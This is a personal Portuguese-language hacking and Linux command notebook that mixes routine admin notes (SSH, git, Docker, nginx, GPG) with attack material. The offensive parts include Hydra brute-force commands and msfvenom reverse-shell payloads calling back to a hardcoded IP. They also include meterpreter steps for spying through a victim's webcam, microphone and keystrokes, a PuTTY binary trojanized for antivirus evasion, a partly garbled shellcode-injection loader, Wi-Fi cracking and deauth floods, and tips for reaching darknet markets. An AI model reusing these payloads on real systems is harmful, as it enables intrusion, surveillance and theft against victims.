ctrl + a & ctrl + h {Para achar comands google docs}
O QUE ESTÁ EM CADA PAGINA:
⚠️esse arquivo é atualizado a cada semana por mim⚠️
☣️☣️☣️☣️☣️☣️☣️☣️☣️☣️☣️☣️☣️☣️☣️
COMANDOS IMPORTANTES KALI LINUX|DEBIAN
PARA CONECTAR MAQUINA AO GIT
COMANDOS EFICIENTES NMAP:
COMANDOS HYDRA
COMANDOS PARA EXPLORAR VULNERABILIDADES EM SITES WEB
COMANDOS EFICIENTES NETCAT
COMO CRIAR UM SITE ONION:
METASPLOIT
AIRCRACK-NG
NOÇÕES BÁSICAS DE DARK WEB
NO DEBIAN:
DOCKER CONTAINERS
COMANDO ARCH LINUX
CRIAÇÃO DE SITE
SALVAR CHAVE KLEOPATRA
☣️☣️☣️☣️☣️☣️☣️☣️☣️☣️☣️☣️☣️☣️☣️

Os meus projetos ficam no Github da conta ofertasonline520@gmail.com
Você usa Codex no VS Code para programar e DIG AI no Tor.link ou app.deephat.ai ou Skynetchat.com para hackear.
Meu cérebro hacker está neste arquivo.

0800 887 7787

COMANDOS IMPORTANTES KALI LINUX|DEBIAN

(SUDO SU) passwd matheus = muda a senha

systemctl enable --now ssh = ativa o ssh

systemctl status ssh = verifica se o ssh tá ativado

whoami = nome de usuario

which programa = onde está o programa

curl ifconfig.me = IPV6

ip a = ip da rede

df -h = armazenamento

unzip arquivo = descompacta

hostname -I mostra o ip da rede e o IPV6

nano arquivo = cria arquivo de texto

vi wordlist = cria wordlist = esc + : wq = sai da wordlist

cp -r ~/Downloads/arqui ~/dir/ = clona e transporta arquivo entre diretórios
scp arquivo user@192.168.1.10:/home/user = envia arquivo via ssh

rm -r nome = apaga diretório

mv nome novo_ nome = muda nome de diretório

mv ~/share/rockyou.txt ~/wordlists/ = muda arquivo de diretório para outro

ls -l --block-size=M = mostra armazenamento de cada arquivo

systemctl list-unit-files --type=service = lista os serviços systemctl

ssh-keygen -R 192.168.0.12 = remove chave antiga do ssh

ls -d .* = lista arquivos ocultos

==========

ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa_kali = gera par de chaves ssh

o texto da chave .pub vai para .ssh/authorized_keys no servidor e chave privada fica com voce.

depois no cervidor de:

chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
chown $USER:$USER ~/.ssh -R

no seu computador:

nano ~/.ssh/config
cole isso:

```
Host kali
  HostName 192.168.1.5
  User kali
  IdentityFile ~/.ssh/id_rsa_kali
  IdentitiesOnly yes
```

chmod 600 ~/.ssh/config
ssh kali

==========

`gunzip arquivo.gz` = **extrai .gz**

`unzip arquivo.zip` = **extrai zip**

tar -xzvf nome_do_arquivo.tar.gz = **extrai .tar.gz**

`7z x arquivo.7z` = **extrai 7z**

zip arquivo.zip arquivo_original.txt = **transforma arquivo em .zip**

zip -e arquivo.zip matheus.txt = **zipa arquivo com senha**

para formatar pendrive

```
sudo pacman -S exfatprogs
sudo umount /dev/sdb1
sudo umount /dev/sdb2
sudo wipefs -a /dev/sdb
sudo parted /dev/sdb mklabel gpt
sudo parted -a optimal /dev/sdb mkpart primary 0% 100%
sudo mkfs.exfat /dev/sdb1
```

PARA CONECTAR MÁQUINA AO GITHUB

git config --global user.name "math326"
git config --global user.email ofertasonline520@gmail.com
ssh-keygen -t ed25519 -C ofertasonline520@gmail.com
cat ~/.ssh/id_ed25519.pub
 # cola no GitHub → Settings → SSH keys
ssh -T git@github.com

PARA SALVAR PROJETO NOVO PELA PRIMEIRA VEZ USANDO GIT NA PASTA:

cd ~/forum
git init
git add .
git commit -m "primeiro commit"
git branch -M main
git remote add origin git@github.com:math326/forum.git
git push -u origin main
—----------

#OU Projeto já existente no GitHub#

—----------

git clone git@github.com:math326/youhost.git = e ele baixa a pasta junto com git
cd youhost

SALVAR PROJETO NO GITHUB QUE JÁ USOU GIT NA PASTA:

git pull --rebase
git add .
git commit -m "mudanças"
git push

#

COMANDS EFICIENTES NMAP:

1) nmap -sn ip\24 = hosts ativos

2) nmap -sV ip = sistema operacional

3) nmap -sn -PR IP/24 = mostra mac dos ips

COMANDOS HYDRA

4) hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.201.127.20 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -v = **brute force login**

5) hydra -l test -P flares.txt testphp.vulnweb.com http-post-form "/userinfo.php:uname=^USER^&pass=^PASS^:S=On this page you can visualize" -V = **brute force no login**

6) hydra -l user -P wordlist.txt 192.168.0.8 -t 4 ssh = **invade ssh**

6) hydra -l kali -P flares.txt ssh://127.0.0.1 -t 4 -V -f = **invade a propria maquina**

opcional: crunch 3 4 iakl -o /home/user/test.txt = **cria wordlist com caracteres iakl de 4 digitos**

COMANDOS PARA EXPLORAR VULNERABILIDADES EM SITES WEB

7) gobuster dir -u http://testphp.vulnweb.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt = descobre paginas ocultas

8) dmitry -winsepo testphp.vulnweb.com = descobre informações do site

9) whatweb testphp.vulnweb.com = mostra a verção do site

10) holehe math@gmail.com = mostra os sites que tem o email cadastrado

COMANDOS EFICIENTES NETCAT

11) nc -lvnp 1337 = abre porta no 1337

12) nc 192.168.0.8 1337 = se conecta

13) nc -lvnp 1337 = abre a porta 1337 na conexão vpn

PARA ENVIAR ARQUIVOS
RECEPTOR: nc -l -p 4444 > arch.txt

PORTADOR: nc 192.168.1.??? 4444 < arch.txt

==========

NCAT

nc -6 -l 1337 = abre pota na rede

nc MAC_REDE 1337 = se conecta

python3 -m http.server 8081 = abre uma porta e a maquina vira servidor

COMO CRIAR PONTE DE CONEXÃO NA REDE TOR:

conecte as duas máquinas na rede tor com: sudo systemctl start tor

Edita `/etc/tor/torrc` **e adiciona:** HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 4444 127.0.0.1:4444

Reinicie o tor: sudo systemctl restart tor

descubra o endereço onion: cat /var/lib/tor/hidden_service/hostname

abra a porta de comunicação com: ncat -l -p 4444

No computador do client: ncat --proxy 127.0.0.1:9050 --proxy-type socks5
abcd1234xyz.onion 4444

COMO CRIAR UM SITE ONION:

sudo apt install npm
sudo apt install apache2
sudo systemctl enable apache2
sudo systemctl start apache2
sudo apt install node
sudo apt install postgresql

Edite o arquivo `/etc/tor/torrc`

```
HiddenServiceDir/var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:80
```

Reinicie o tor: `sudo systemctl restart tor`

descubra o URL: `sudo cat /var/lib/tor/hidden_service/hostname`

vá em /var/www/html e cole seus arquivos em html, css, javascript e ETC…

para entrar no banco de dados = sudo -u postgres psql galaxy

para apagar post =
SELECT id, title, forum_id FROM posts;

DELETE FROM posts WHERE id = 1;

pra ver nomes de subforuns = SELECT slug, name FROM forums;

pra mudar nome =
```
UPDATE forums
SET name = 'Maware'
WHERE slug = 'soccer';
```

para limpar cookies antigos: DELETE FROM sessions WHERE expires_at <= NOW();

METASPLOIT

OBS: para hackear o alvo em outra rede use uma VPS e instale metasploit nela. E Use exploit-j para executar o exploit no msfconsole!

INVADINDO WINDOWS DA VITIMA COM METERPRETER

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP do Kali] LPORT=6666 -f exe -o meter.exe

msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [IP do Kali]
set LPORT 4444
exploit -j

COMANDOS NO METERPRETER:

webcam_snap = tira foto

webcam_stream = grava webcam da vitima

record_mic = grava audio do microfone

Keyscan_start = ativa Keylogger

Keyscan_dump = mostra teclas digitadas

Keyscan_stop = para o Keylogger
Screenshot= tira print do computador windows

INVADINDO ANDROID COM MSFVENOM

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.8 LPORT=4444 R > aplica.apk

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST [IP do Kali]
set LPORT 4444
exploit -j

hackeando linux meterpreter

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=4444 -f elf -o debian.elf

no kali:
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.107
set LPORT 4444
exploit
meterpreter > download dark /root/ = baixa arquivo

ENCODANDO PAYLOAD

A melhor maneira é tentar "vinculá-lo" a outro programa. Tente isto:

wget https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe -O /root/putty.exe

msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 -e x86/shikata_ga_nai -i 10 -o payload.exe --encrypt aes256 LHOST={seu_ip} LPORT=4444 -x /root/putty.exe -k

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [IP KALI]
set LPORT 4444
exploit

A melhor maneira é tentar "vinculá-lo" a outro programa. Tente isto:

wget https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe -O /root/putty.exe

msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 -e x86/shikata_ga_nai -i 10 -o payload.exe --encrypt aes256 LHOST=46.202.146.8 LPORT=4444 -x /root/putty.exe -k

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [IP KALI]
set LPORT 4444
exploit

na maquina alvo baixe e abra o payload.exe

==========

Este outro método mais recente é praticamente indetectável em comparação com os demais. Ainda não existe uma solução abrangente para isso, a API do Windows funciona em .dll:

msf5 > use multi/handler
msf5 > set payload windows/meterpreter/reverse_tcp
msf5 > set LHOST [IP KALI]
msf5 > set LPORT 4444
msf5 > exploit -j

msfvenom -p windows/x64/shell/reverse_tcp LHOST=46.202.146.8 LPORT=4444 -f c > shellcode.c

nano payload.c

cole o conteudo de shell.c nesse código:

```
—————————————————————————————————————————————————————————————
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

// Shellcode Meterpreter reverse_tcp customizado para 46.202.146.8:4444
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x65\x48\x8b\x52\x60\x51\x56\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f"
"\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x44\x8b\x40\x20\x50\x49\x01\xd0\x8b"
"\x48\x18\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6"
"\x4d\x31\xc9\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x48\x01"
"\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x11\x5c\x2e\xca\x92\x08\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
```

```
"\xf0\xb5\xa2\x56\xff\xd5";

int main() {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
GetProcessIdByName("svchost.exe"));

if (!hProcess) {
printf("[!] Erro ao abrir processo target\n");
return 1;
}

PVOID pRemoteView = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(hProcess, pRemoteView, shellcode, sizeof(shellcode), NULL);

HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pRemoteView, NULL, 0, NULL);

if (hThread) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread) > mysterious man: ;
}

CloseHandle(hProcess);
return 0;
}

DWORD GetProcessIdByName(const char* processName) {
// Implementação da busca de PID por nome
// ...
}
```

Compile no windows:
gcc -m64 payload.c -o payload.exe

Na máquina windows do alvo:
payload.exe

sudo lsof -i :4444 = mostra o que está rodando na porta

sudo kill -9 1234 = mata processo

AIRCRACK-NG

lembrando que o aincrack-ng só funciona no kali por boot no pendrive ou o kali instalado direto no SSD. não funciona no kali do virtual-box

INVASÃO DE REDE DESCOBRINDO SENHA

Sudo airmon-ng start wlan0

Sudo airodump-ng wlan0mon

Sudo airodump-ng --bssid (bssid-rede) -c (ch) -w captura wlan0mon

EM OUTRO TERMINAL:

sudo aireplay-ng --deauth 10 -a (bssid-rede) wlan0mon

^C no primeiro terminal:

Sudo aircrack-ng captura-01.cap -w wordlist.txt

Sudo airmon-ng stop wlan0mon

==========

ATAQUE DE DESAUTENTICAÇÃO

Nmap -sn meu-ip/24 = mostra o IP dos dispositivos da rede e deus Mac

sudo airodump-ng --bssid [BSSID] -c [canal] wlan0mon = mostra MACs da rede

sudo aireplay-ng --deauth 1000000 -a [BSSID da rede] -c [MAC do seu celular] wlan0mon
OU
sudo aireplay-ng -0 1000 -a [BSSID] -c [MAC DISPOSITIVO] wlp3s0mon

NOÇÕES BÁSICAS DE DARK WEB

Primeiramente, sempre se conecte a rede tor, se estiver usando linux e quiser acessar a dark web pelo firefox você terá que instalar o tor com "***sudo apt install tor"*** ai você ativa ele com "***sudo systemctl start tor"*** ai você vai nas configurações do firefox e vai em proxy e na opção de dominio stocks voce coloca 127.0.0.1 e coloca na porta 9050 que é por onde o tráfego deve passar pela rede tor. Também é importante desativar o javascript para não levar golpes de xss na dark web. Para isso você digita "***about:config"*** na barra de pesquisa do firefox ai você pesquisa por javascript.enabled ai você clica na seta de alternar e ele vai mudar para false.

Para conseguir os links de mercados e fóruns da dark web você deve procurar em daunt.link , outros sites como daunt-link.com são falsos e espalham links de phishing. A única maneira segura de conseguir links de mercados é em daunt.link e Tor.watch ou em Tor.taxi

Sempre use o navegador tor para navegar na dark web, a não ser que voce queira traduzir o conteúdo da página de inglês para portugues por exemplo, aí você prepara o proxy do firefox para passar o trafego pela rede tor e desativa o javascript dele para poder usa-lo.

Outra coisa são as formas de pagamento. A poucos anos atrás era bem comum pagar em bitcoin, mas hoje em dia se usa Monero. Uma boa opção para comprar Monero é utilizar o https://kraken.com ai depois de comprar você armazena seus XMR na sua carteira de monero que pode ser baixada em https://www.getmonero.org/downloads/
Aí você faz toda a transferência a partir da sua carteira.

Uma parte bem interessante de armazenar seus XMR na carteira é que você pode pegar o arquivo seu_nome.keys e colocar em um pendrive, ai você salva aquelas 25 palavras e a senha que você usou quando criou a carteira, ai caso seu computador seja destruído mas você tiver esse arquivo nome.keys e suas senhas você vai poder abrir sua carteira em outro computador apenas indo em opções de importar carteira.

Outro ponto importante é a criptografia pgp que você vai ter que usar em mercados e fóruns da dark web. Quando você instalar a kleopatra e criar um par de chaves você vai ter uma chave pública e uma chave privada. A chave

pública você compartilha com as pessoas, pois com essa chave elas usaram para criptografar mensagens que só você consegue descriptografar com sua chave privada.
sua chave pública vai ser um arquivo que termina com .asc mas se você abrir esse arquivo em um bloco de notas vai poder copiar sua chave pública que é parecida com algo assim:

-----BEGIN PGP PUBLIC KEY BLOCK-----

mDMEaTReSRYJKwYBBAHaRw8BAQdALX30aWs1OWhjkEk985gIdk9AP92
F0kAcvJ0RhtjgH3RU4ruE8+m/r4lwgFb1Pec
rIeNBgqAUbhXihDnvY3AQCa/obgjQo5r6iSoju4ZfN2lF/HP5dzETShWkk+Mj/C
AQ==
=E4wG
-----END PGP PUBLIC KEY BLOCK-----

NO DEBIAN:

para o sudo funcionar:

su -
usermod -aG sudo matheus
reboot
sudo apt update

para o ssh funcionar:

sudo apt install openssh-server -y
sudo systemctl enable –now ssh
sudo systemctl status ssh

sudo apt install openjdk-21-jdk -y = Para programar e jogar com o java

sudo apt install alacarte -y = Para fazer incone de app

depois de colado de: chmod +x debian-install.sh
depois: ./debian-install.sh

ferramentas instaladas manualmente

==========
BALENA ECHER & PYCHARM & VIRTUALBOX & BURP SUITE
==========

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$4$$$
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb

sudo apt install ./google-chrome-stable_current_amd64.deb
$$

para deixar o virtualbox funcionando:

lsmod | grep kvm

sudo modprobe -r kvm_intel
sudo modprobe -r kvm_amd
sudo modprobe -r kvm

COMO CONFIGURAR O FECHAMENTO DO NOTEBOOK PRA NÃO DESLIGAR

sudo nano /etc/systemd/logind.conf

#HandleLidSwitch=suspend
troque por
HandleLidSwitch=ignore
opcional: sudo systemctl restart systemd-logind = **{“*pode dar travamentos*”}**

VBoxManage list hdds = **lista discos do virtual box**

VBoxManage modifymedium disk "/home/matheus/VirtualBox VMs/Debian13/Debian13.vdi" --resize 40000 = **aumenta**

PARA AUMENTAR TAMANHO DO DISCO DA PARTIÇÃO:

sudo apt update && sudo apt install gparted -y
sudo gparted
Clique com o botão direito na partição principal → **Redimensionar/Mover**.
Aumente para ocupar todo o espaço não alocado.
Clique em **Aplicar**.

DOCKER CONTAINERS

sudo pacman -S docker docker-compose = **instala docker**

sudo systemctl enable docker

docker pull debian = **instala container debian**

docker run -it debian bash = **cria container debian terminal**

docker start -ai id_do_container = **entra no container**

docker ps -a = **lista todos containers**

CONTAINDER COM SSH FUNCIONANDO:

```
docker run -d \
  --name debian-ssh \
  -p 2222:22 \
  debian:trixie \
  sleep infinity

docker exec -it debian-ssh bash

apt update
apt install -y openssh-server

mkdir -p /var/run/sshd

passwd root

printf '\nPermitRootLogin yes\nPasswordAuthentication yes\nPubkeyAuthentication yes\nUsePAM yes\n' >> /etc/ssh/sshd_config

/usr/sbin/sshd

docker update --restart unless-stopped debian-ssh
```

Depois para deixar container Debian completo:

```
apt update

apt install -y \
  nano vim less man-db \
  net-tools iproute2 iputils-ping dnsutils curl wget ca-certificates \
  build-essential git python3 python3-pip openjdk-21-jdk \
  sudo procps util-linux lsb-release \
  rsync unzip tree htop \
  parted fdisk exfatprogs dosfstools \
  openssh-server

apt --fix-broken install -y
apt install -y python3-tk blt
```

outros comandos:

docker rm ID_CONTAINER = apaga container

COMANDO ARCH LINUX

Para instalar todas ferramentas do black arch:

curl -O https://blackarch.org/strap.sh
Chmod +x strap.sh
sudo pacman -S --needed blackarch

pacman = apt

sudo pacman -S app = instala

sudo pacman -Sy = da um update

sudo pacman -Syu = da um upgrade

==========

systemctl list-unit-files --type=service = lista os serviços systemctl

sudo pacman -S openssh = instala ssh

sudo systemctl enable sshd.service = ativa ssh

sudo systemctl status sshd.service = verifica ssh
==========

sudo useradd -m john = cria usuario

sudo userdel -r john = remove usuario

sudo passwd john = muda senha do usuario

sudo usermod -aG sudo john = da permissao sudo pro usuario

chmod 755 /home/john = da permissao pra outros verem seu arquivos

chmod 700 /home/john = outros nao podem ver seu arquivos
chmod 644 /home/john/test = permissao de leitura pros outros

chmod 600 /home/john/test = permissao de leitura e escrita apenas do john

chmod 666 /home/john/test = permissao de leitura e escrita dos outros users

cd /etc = nano sudoer = <#> %wheel ALL=(ALL:ALL) ALL

PARA TER ANIMAÇÃO DO PACMAN NO UPGRADE E INSTALAÇÕES:

sudo nano /etc/pacman.conf

Procure pela linha = #Color e tire o # dela e logo abaixo coloque:

ILoveCandy

agora salve e saia.

PARA TER LOGO DO ARCH NO TERMINAL:

sudo pacman -Syu fastfetch

fastfetch

CRIAÇÃO DE SITE

Para começar novo projeto de site:

sudo apt update & sudo apt install npm nodejs nginx postgresql postgresql-contrib openjdk-21-jdk python3 code -y
sudo -iu postgres initdb -D /var/lib/postgres/data
sudo systemctl enable –now postgresql
sudo systemctl start postgresql

mkdir projeto = **cria pasta do projeto**

cd projeto = **entra no projeto**

touch server.js = **cria arquivo de servidor localhost do projeto**

mkdir public = **cria pasta de códigos de páginas do projeto.**

npm init -y = **inicia npm na pasta do projeto e cria package.json**

npm install express = **baixa bibliotecas que seu projeto precisa.**

cd public = **entra no diretório de código de páginas do site.**

touch index.html style.css = **cria arquivos de pagina principal e estilo.**

mkdir imagens = **cria pasta para colocar imagens do site.**

Quando reescrever o código:

rm -r node_modules = **apaga node_modules**

npm install = **recria node_modules**

Para o site rodar sozinho na porta 80:

npm install -g pm2

pm2 start server.js
pm2 startup
pm2 save

Para colocar novo site na porta 80

grep -R "listen 80" -n /etc/nginx = **descobre quem está na porta 80**

mv /etc/nginx/conf.d/youhost.conf /etc/nginx/conf.d/youhost.conf.bak = **desativa site antigo**

nano /etc/nginx/nginx.conf
cole isso;👇👇👇

```
server {
    listen 80;
    server_name _;

    location / {
        proxy_pass http://127.0.0.1:3000;
        proxy_http_version 1.1;

        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
    }
}
```

nginx -t = **verifica**

sudo systemctl restart nginx = **reinicia**

PARA CRIAR USUARIO E BANCO DE DADOS:

==========

CREATE USER matheus WITH PASSWORD '369520';
CREATE DATABASE mydistros OWNER matheus;
\q
==========

salvar banco de dados:
pg_dump "postgresql://postgres:369520@localhost:5432/galaxy" > galaxy.sql

PARA ENTRAR NO BANCO DE DADOS:
sudo -u postgres psql galaxy

KLEOPATRA

como fazer a recuperação e reconstrução de chave privada OpenPGP a partir de paperkey(voce precisa do PDF da chave privada e do arquivo .asc da chave publica para fazer isso):

sudo apt install gnupg paperkey -y
mkdir ~/recover
chmod 700 ~/recover

gpg --homedir ~/recover --import key_public.asc
gpg --homedir ~/recover --list-keys --fingerprint

nano ~/paperkey.txt
cole um conteudo de 7 linhas do PDF com essa aparencia;👇👇👇;

1: 00 04 C5 DD 95 85 EE 09 F8 6B 68 E8 B6 7D 3E 4A AD D4 6A 49 C8 45 78750E
2: 00 25 00 01 00 9F E7 33 EE 52 BF 89 B9 F5 AD B3 80 BF 79 B8 92 73 767CDA
3:.....
4:.....
5:.....
6:.....
7:.....

gpg --homedir ~/recover --export
C5DD8585EF09F86B68E7B67D3E4AADD49A49C845 > ~/recover/public.gpg

paperkey --pubring ~/recover/public.gpg --secrets ~/paperkey.txt >
~/recover/secret.gpg

gpg --homedir ~/recover --import ~/recover/secret.gpg
gpg --homedir ~/recover --list-secret-keys --fingerprint

gpg --homedir ~/recover --export-secret-keys -a
C5DD8585EF09F86B68E7B67D3E3BADD49A49C847> ~/yourname-private.asc

gpg --homedir ~/recover --list-secret-keys

NA OUTRA MÁQUINA PARA IMPORTAR CHAVE PRIVADA:

gpg --import yourname-private.asc
para criptografar arquivo:

gpg --encrypt --recipient alice@email.com mensagem.txt = **criptografa arquivo de texto com a chave pública de alice@email.com**

gpg --decrypt arquivo.txt.gpg = **descriptografar arquivo**

echo "segredo total" | gpg --encrypt --armor -r alice@email.com = **criptografa em texto copiavel a frase "segredo total" com a chave publica de alice@email.com**

echo "TEXTO_CRIPTOGRAFADO" | gpg --decrypt **= descriptografa texto**